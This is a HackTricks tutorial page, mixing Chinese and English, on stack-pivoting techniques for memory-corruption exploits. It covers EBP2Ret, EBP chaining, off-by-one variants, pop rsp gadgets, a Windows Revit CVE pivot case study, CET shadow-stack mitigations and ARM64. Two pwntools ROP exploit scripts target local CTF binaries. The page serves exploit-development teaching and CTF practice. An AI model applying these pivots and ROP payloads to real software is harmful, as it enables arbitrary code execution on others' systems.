Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 18 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
此技术利用操纵 Base Pointer (EBP/RBP) 的能力,通过对 frame pointer 和 leave; ret
指令序列的精确使用,将多个函数的执行串联起来。
提醒一下,在 x86/x86-64 上 leave
等价于:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.
Notes
- On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
- Some compilers omit the frame pointer (see “EBP might not be used”). In that case,
leave
might not appear and this technique won’t work.
EBP2Ret
当你可以修改已保存的 EBP/RBP 但无法直接修改 EIP/RIP时,这个技术尤其有用。它利用了函数结尾(epilogue)的行为。
如果在 fvuln
执行期间,你设法在 stack 中注入一个指向内存中放有你的 shellcode/ROP chain 地址的假 EBP(再加上用于 pop
的偏移:amd64 上为 8 字节 / x86 上为 4 字节),你就可以间接控制 RIP。随着函数返回,leave
会把 RSP 设为构造的位置,随后 pop rbp
会减少 RSP,实际上使其指向攻击者在该处存放的一个地址。然后 ret
会使用该地址。
注意你需要知道两个地址:ESP/RSP 将要去的地址,以及 ret
将消费、存储在该地址处的值。
Exploit Construction
首先你需要知道一个可以写入任意数据/地址的地址。RSP 会指向这里并消费第一个 ret
。
然后,你需要选择 ret
将要使用的地址以转移执行流。你可以使用:
- 一个有效的 ONE_GADGET 地址。
system()
的地址,后面跟上适当的返回和参数(在 x86 上:ret
目标 =&system
,然后 4 字节垃圾,再然后&"/bin/sh"
)。- 一个
jmp esp;
gadget 的地址(ret2esp)后面跟内联 shellcode。 - 一个放在可写内存中的 ROP 链。
记住在受控区域中这些地址之前,必须有为 leave
的 pop ebp/rbp
留出的空间(amd64 上为 8B,x86 上为 4B)。你可以利用这些字节设置第二个假 EBP,从而在第一次调用返回后继续保持控制。
Off-By-One Exploit
有一种变体用于你只能修改已保存 EBP/RBP 的最低有效字节的情况。在这种情况下,存放要被 ret
跳转到的地址的内存位置必须与原始 EBP/RBP 在前面三个/五个字节上相同,这样一次 1 字节的覆盖才能重定向它。通常会把低字节(偏移 0x00)增加,以尽可能跳到附近页面/对齐区域的更远处。
通常也会在 stack 上使用 RET sled,并把真实的 ROP chain 放在末尾,以增加新的 RSP 指向 sled 内部并最终执行 ROP 链的概率。
EBP Chaining
通过在 stack 的已保存 EBP
插槽放入一个受控地址,并在 EIP/RIP
放置一个 leave; ret
gadget,可以将 ESP/RSP
移动到攻击者可控的地址。
现在 RSP
受控,下一条指令是 ret
。在受控内存中放入类似下面的内容:
&(next fake EBP)
-> 由leave
的pop ebp/rbp
加载。&system()
-> 由ret
调用。&(leave;ret)
-> 在system
结束后,将 RSP 移动到下一个假 EBP 并继续执行。&("/bin/sh")
-> 作为system
的参数。
通过这种方式可以串联多个假 EBP 来控制程序的控制流。
这类似于 ret2lib,但更复杂且仅在边缘情况下有用。
此外,这里有一个使用该技术并结合 stack leak 来调用胜利函数的 challenge 示例。以下是该页面的最终 payload:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 对齐提示:System V ABI 要求在调用点对栈进行 16 字节对齐。如果你的链调用诸如
system
之类的函数,请在调用之前添加对齐 gadget(例如ret
,或sub rsp, 8 ; ret
)以保持对齐并避免movaps
崩溃。
EBP 可能不会被使用
如 在这篇帖子中解释,如果二进制在启用某些优化或省略帧指针的情况下编译,EBP/RBP 永远不会控制 ESP/RSP。因此,任何通过控制 EBP/RBP 来实现的利用都会失败,因为 prologue/epilogue 不会从帧指针恢复。
- 未优化 / 使用帧指针:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 已优化 / 省略帧指针:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
在 amd64 上,你经常会看到 pop rbp ; ret
而不是 leave ; ret
,但如果完全省略了帧指针,则不存在可通过的基于 rbp
的 epilogue 来进行 pivot。
控制 RSP 的其他方法
pop rsp
gadget
在此页面 你可以找到使用该技术的示例。对于那个挑战,需要调用一个带有 2 个特定参数的函数,并且存在一个 pop rsp
gadget,同时有来自 stack 的 leak:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
查看 ret2esp 技术:
快速查找 pivot gadgets
使用你喜欢的 gadget finder 来搜索经典的 pivot primitives:
leave ; ret
on functions or in librariespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oradd esp, <imm> ; ret
on x86)
示例:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
经典 pivot staging pattern
一种在许多 CTF/exp 中常用的稳健 pivot 策略:
- 使用一个小的初始 overflow 调用
read
/recv
将数据写入一个大的可写区域(例如.bss
、heap 或映射的 RW 内存),并在那放置完整的 ROP chain。 - 返回到一个 pivot gadget(
leave ; ret
、pop rsp
、xchg rax, rsp ; ret
)以将 RSP 移到该区域。 - 继续执行分阶段的链(例如:leak libc,调用
mprotect
,然后read
shellcode,最后跳转到它)。
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
客户端解析器有时会实现析构循环(destructor loops),该循环会间接调用从攻击者可控对象字段派生的函数指针。如果每次迭代恰好提供一次间接调用(一个 “one-gadget” machine),你可以将其转换为可靠的 stack pivot 和 ROP 入口。
在 Autodesk Revit RFA 反序列化中观察到(CVE-2025-5037):
- 类型为
AString
的伪造对象会在偏移 0 处放置一个指向攻击者字节的指针。 - 该 destructor loop 实际上对每个对象执行一个 gadget:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): 未对齐的 “monster gadget”,包含
8B E0
→mov esp, eax
,最终ret
,用于从 call primitive pivot 到基于 heap 的 ROP chain。 - Windows 11 (full 64-bit addrs): 使用两个对象来驱动一个受限的 weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret
(将原始 rax 移入 rbp) - Gadget 2:
leave ; ... ; ret
(变为mov rsp, rbp ; pop rbp ; ret
),pivot 到第一个对象的缓冲区,在那里跟随常规的 ROP chain。
- Gadget 1:
Tips for Windows x64 after the pivot:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
call
sites。通常把字面量放在返回地址之上并使用像lea rcx, [rsp+0x20] ; call rax
这样的 gadget,随后用pop rax ; ret
来在不破坏控制流的情况下传递栈地址,会很方便。 - Non-ASLR helper modules(如果存在)提供稳定的 gadget 池和 imports,比如
LoadLibraryW
/GetProcAddress
,可用于动态解析诸如ucrtbase!system
的目标。 - Creating missing gadgets via a writable thunk:如果一个有前景的序列以通过可写函数指针的
call
结尾(例如 DLL import thunk 或 .data 中的函数指针),可以将该指针覆写为一个良性的单步指令如pop rax ; ret
。该序列随后表现得像以ret
结尾(例如mov rdx, rsi ; mov rcx, rdi ; ret
),这对于在不破坏其他寄存器的情况下加载 Windows x64 参数寄存器非常有价值。
For full chain construction and gadget examples, see the reference below.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK)。在启用 SHSTK 时,ret
会将普通栈上的返回地址与硬件保护的 shadow stack 上的地址进行比较;任何不匹配都会引发 Control-Protection fault 并终止进程。因此,像 EBP2Ret/leave;ret-based pivots 之类的技术一旦从 pivoted 栈上执行第一个 ret
就会崩溃。
- For background and deeper details see:
- Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notes for labs/CTF:
-
一些现代发行版在硬件和 glibc 支持存在时会为 CET-enabled 二进制启用 SHSTK。对于在 VM 中受控测试,可以通过内核引导参数
nousershstk
在系统范围内禁用 SHSTK,或在启动时通过 glibc tunables 有选择地启用(参见 references)。不要在生产目标上禁用缓解措施。 -
基于 JOP/COOP 或 SROP 的技术在某些目标上可能仍然可行,但 SHSTK 会专门破坏基于
ret
的 pivot。 -
Windows note: Windows 10+ 暴露了 user-mode,Windows 11 在此基础上为 kernel-mode 添加了基于 shadow stacks 的 “Hardware-enforced Stack Protection”。兼容 CET 的进程会在
ret
处阻止 stack pivoting/ROP;开发者需通过 CETCOMPAT 及相关策略选择性启用(参见 reference)。
ARM64
在 ARM64 中,函数的 prologue and epilogues 并不在栈上存储和恢复 SP 寄存器。此外,RET
指令并不会返回到由 SP 指向的地址,而是返回到 存于 x30
内的地址。
因此,默认情况下,仅滥用 epilogue 是无法通过覆盖栈中的某些数据来 控制 SP 寄存器 的。即便你设法控制了 SP,仍然需要一种方式来 控制 x30
寄存器。
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
在 ARM64 中执行类似 stack pivoting 的方法,是能够 控制 SP
(通过控制某个其值被赋给 SP
的寄存器,或者因为某种原因 SP
从栈中取地址并且我们有溢出),然后 滥用 epilogue 从受控的 SP
加载 x30
并对其执行 RET
。
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits,off by one 利用,使用以 ret sled 开头的 rop chain
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit,no relro, canary, nx 和 pie。程序提供了 stack 或 pie 的 leak 和一个 qword 的 WWW。先获得 stack leak,再使用 WWW 回去获取 pie leak。然后使用 WWW 利用
.fini_array
条目并调用__libc_csu_fini
创建一个“eternal”循环(更多信息见 ../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)。滥用这个“eternal”写,会在 .bss 中写入一个 ROP chain 并最终通过 RBP 进行 pivot 并调用它。 - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — 关于 SHSTK、
nousershstk
、/proc/$PID/status
flags,以及通过arch_prctl
启用的详细信息。 https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。